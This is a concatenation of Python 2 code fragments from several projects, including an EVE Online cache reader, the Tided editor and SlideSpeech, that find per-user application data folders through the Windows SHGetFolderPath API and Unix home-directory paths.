def get_gui_app_user_data_dir(app_name_dict): """Gets the GUI app-specific user data directory. Win7 C:\User\UserName\Appdata\Roaming\AppName\ WinXP %USERPROFILE%\Application Data\AppName\ OSX ~/Library/Application Support/AppName/ Linux ${XDG_DATA_HOME}/appname/ or ~/.local/share/appname/ http://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html :param app_name_dict: Names to use for the app dir, keyed by OS: Linux/Darwin/Windows/Any. :returns: A path string. :raises: Exception, NotImplementedError, OSError """ this_platform = platform.system() data_dir_path = None dir_mode = None if (re.search("Linux", this_platform, re.IGNORECASE)): dir_name = (app_name_dict["Linux"] if ("Linux" in app_name_dict) else app_name_dict["Any"]) dir_mode = 0700 parent_path = None if (not parent_path): parent_path = os.environ.get("XDG_DATA_HOME") if (not parent_path): parent_path = os.path.expanduser("~") if (parent_path != "~"): parent_path = os.path.join(parent_path, ".local", "share") else: parent_path = None if (parent_path): data_dir_path = os.path.join(parent_path, dir_name) elif (re.search("Darwin", this_platform, re.IGNORECASE)): dir_name = (app_name_dict["Darwin"] if ("Darwin" in app_name_dict) else app_name_dict["Any"]) dir_mode = 0700 parent_path = None if (not parent_path): parent_path = os.path.expanduser("~") if (parent_path != "~"): data_dir_path = os.path.join(parent_path, "Library", "Application Support", dir_name) else: parent_path = None if (parent_path): data_dir_path = os.path.join(parent_path, dir_name) elif (re.search("Windows", this_platform, re.IGNORECASE)): dir_name = (app_name_dict["Windows"] if ("Windows" in app_name_dict) else app_name_dict["Any"]) dir_mode = None try: from ctypes import wintypes, windll CSIDL_APPDATA = 26 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, path_buf) parent_path = path_buf.value parent_path = parent_path.decode(sys.getfilesystemencoding()) except (ImportError, AttributeError) as err: logging.debug("WinAPI querying for user's app data dir failed: %s" % str(err)) if (parent_path): data_dir_path = os.path.join(parent_path, dir_name) else: raise NotImplementedError("Getting the app data dir is unsupported for this OS: %s" % this_platform) if (data_dir_path is None): raise Exception("Could not find the user application data dir.") return data_dir_path
def _get_system_path(csidl): path = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = SHGetFolderPath(0, csidl, 0, 0, path) return path.value
def getpath(csidl): path = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = SHGetFolderPath(0, csidl, 0, 0, path) return path.value
def __init__(self, root, servername="Tranquility", machoversion=-1, cachepath=None): self.cfg = None self._time_load = 0.0 # get cache folder servername and machonet server ip. # the servername should be equal to what was used in the /server option # of the EVE shortcut, even if it's an IP address. serveraliases = { "tranquility": "87.237.38.200", "singularity": "87.237.38.50", } if servername.replace(".","").isdigit(): serverip = servername else: serverip = serveraliases.get(servername.lower(), None) if serverip is None: raise ValueError("Invalid server name '%s'. Valid names are '%s' or an IP address." %\ (servername, "', '".join((x.capitalize() for x in serveraliases)))) if serverip == "87.237.38.200": servername = "Tranquility" if root is None: # I -was- going to put auto path discovery here but EVE's install # folder(s) can be pretty elusive :) raise ValueError("No EVE install root path specified") root = os.path.abspath(root) # now the cache could be either in EVE's own install folder (LUA:OFF), # or in Local Appdata.... if cachepath is None: cachepath = os.path.join(root, "cache") if not os.path.exists(cachepath): # the cache folder is not in install folder. this means it's # in Application Data, however where that one is located varies # per platform, windows version and locale. if os.name == "nt": cacheFolderName = root.lower().replace(":", "").replace("\\", "_").replace(" ", "_") cacheFolderName += "_"+servername.lower() from ctypes import wintypes, windll, c_int CSIDL_LOCAL_APPDATA = 28 path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = windll.shell32.SHGetFolderPathW(0, CSIDL_LOCAL_APPDATA, 0, 0, path_buf) if result: raise RuntimeError("SHGetFolderPath failed, error code 0x%08x" % result) cachepath = os.path.join(path_buf.value, "CCP", "EVE", cacheFolderName, "cache") elif sys.platform == "darwin" or os.name == "mac": # slightly less untested. might still be wrong. home = os.path.expanduser('~') cacheFolderName = "c_program_files_ccp_eve_" + servername.lower() cachepath = os.path.join(home, "Library/Preferences/EVE Online Preferences/p_drive/Local Settings/Application Data/CCP/EVE", cacheFolderName, "cache") root = os.path.join(root, "Contents/Resources/transgaming/c_drive/Program Files/CCP/EVE") elif os.name == "posix": import pwd # Assuming a WINE install, we are now going to have to do # some black magic to figure out where the cache folder is. # get the name of the owner of this EVE folder. This is # quite likely to be the user used in WINE as well. stat_info = os.stat(root) user = pwd.getpwuid(stat_info.st_uid).pw_name # get the filesystem root for WINE x = root.find(".wine/drive_") if x == -1: raise RuntimeError("Must specify cachepath manually on this platform for non-WINE installs.") wineroot = root[:x+5] # all drive_ folders be here # now we can get the cache folder name (as produced by EVE # from the install path by mangling separators and spaces) cacheFolderName = root[x+12:].replace("/", "_").replace(" ", "_") cacheFolderName += "_" + servername cacheFolderName = cacheFolderName.lower() # locate that cache folder. the names of the folders here # depend on the locale of the Windows version used, so we # cheat past that with a glob match. for settingsroot in [ os.path.join(wineroot, "drive_c/users", user), os.path.join(wineroot, "drive_c/windows/profile", user), ]: if not os.path.exists(settingsroot): continue for cachepath in glob.iglob(os.path.join(settingsroot, "*/*/CCP/EVE/" + cacheFolderName, "cache")): # this should only ever give one folder. break else: # no cache folder found? user must have a really # freakin' bizarre install. screw that! continue # cache folder found, no need to continue. break else: raise RuntimeError("Must specify cachepath manually on this platform if the cache folder is not in EVE root") if not os.path.exists(cachepath): raise RuntimeError("Could not determine EVE cache folder location.") machoCachePath = os.path.join(cachepath, "MachoNet", serverip) if machoversion == -1: # find highest macho version... for dirName in glob.glob(os.path.join(machoCachePath, "*")): try: machoversion = max(machoversion, int(os.path.basename(dirName))) except ValueError: pass except TypeError: pass if machoversion == -1: raise RuntimeError("Could not determine machoNet version from cache folder %s" % machoCachePath) self.machoVersion = machoversion self.root = root self.cachepath = cachepath self.machocachepath = os.path.join(machoCachePath, str(machoversion)) self.bulkdatapath = os.path.join(root, "bulkdata")
# for the Tided text editor for OS X import os import os.path import getpass import sqlite3 import time import wx user = getpass.getuser() pth = os.path.expanduser('~') if wx.Platform == '__WXMSW__': import ctypes import ctypes.wintypes as w1 w2 = ctypes.windll pb = w1.create_unicode_buffer(w1.MAX_PATH) res = w2.shell32.SHGetFolderPathW(0,28,0,0,pb) APPDIR = pb.value print "Windows APPDIR = ",APPDIR elif wx.Platform == '__WXMAC__': APPDIR = '/Users/'+user+'/Library/Application Support/tided/' else: APPDIR = "/home/"+user+"/." class database(object): def __init__(self): # test if db already exists... /Users/<name>/Library/Application Support/<tided/config.txt self.cs = ['SetUseTabs','SetIndentationGuides','SetIndent','SetViewEOL','SetEOLMode', 'SetBackSpaceUnIndents', 'SetCaretForeground','SetOvertype','SetScrollWidth',
def emacs_home_folder(): path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) GetFolderPath(0, 26, 0, 0, path_buf) return path_buf.value
# Find location of Windows common application data files for odp2ss.ini iniDirectory = None if sys.platform.startswith("win"): import ctypes from ctypes import wintypes, windll CSIDL_COMMON_APPDATA = 35 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path_buf) iniDirectory = path_buf.value+os.sep+"SlideSpeech" else: iniDirectory = os.path.expanduser('~')+os.sep+".SlideSpeech" ensure_dir(iniDirectory) if sys.platform.startswith("win"): imageFileSuffix = ".jpg" else: imageFileSuffix = ".png" ## Obtain odpFile name and directory # Check for last .odp file in config file
# for the Tided text editor for OS X import os import os.path import getpass import sqlite3 import time import wx user = getpass.getuser() pth = os.path.expanduser('~') if wx.Platform == '__WXMSW__': import ctypes import ctypes.wintypes as w1 w2 = ctypes.windll pb = w1.create_unicode_buffer(w1.MAX_PATH) res = w2.shell32.SHGetFolderPathW(0, 28, 0, 0, pb) APPDIR = pb.value print "Windows APPDIR = ", APPDIR elif wx.Platform == '__WXMAC__': APPDIR = '/Users/' + user + '/Library/Application Support/tided/' else: APPDIR = "/home/" + user + "/." class database(object): def __init__(self): # test if db already exists... /Users/<name>/Library/Application Support/<tided/config.txt self.cs = [ 'SetUseTabs', 'SetIndentationGuides', 'SetIndent', 'SetViewEOL', 'SetEOLMode', 'SetBackSpaceUnIndents', 'SetCaretForeground',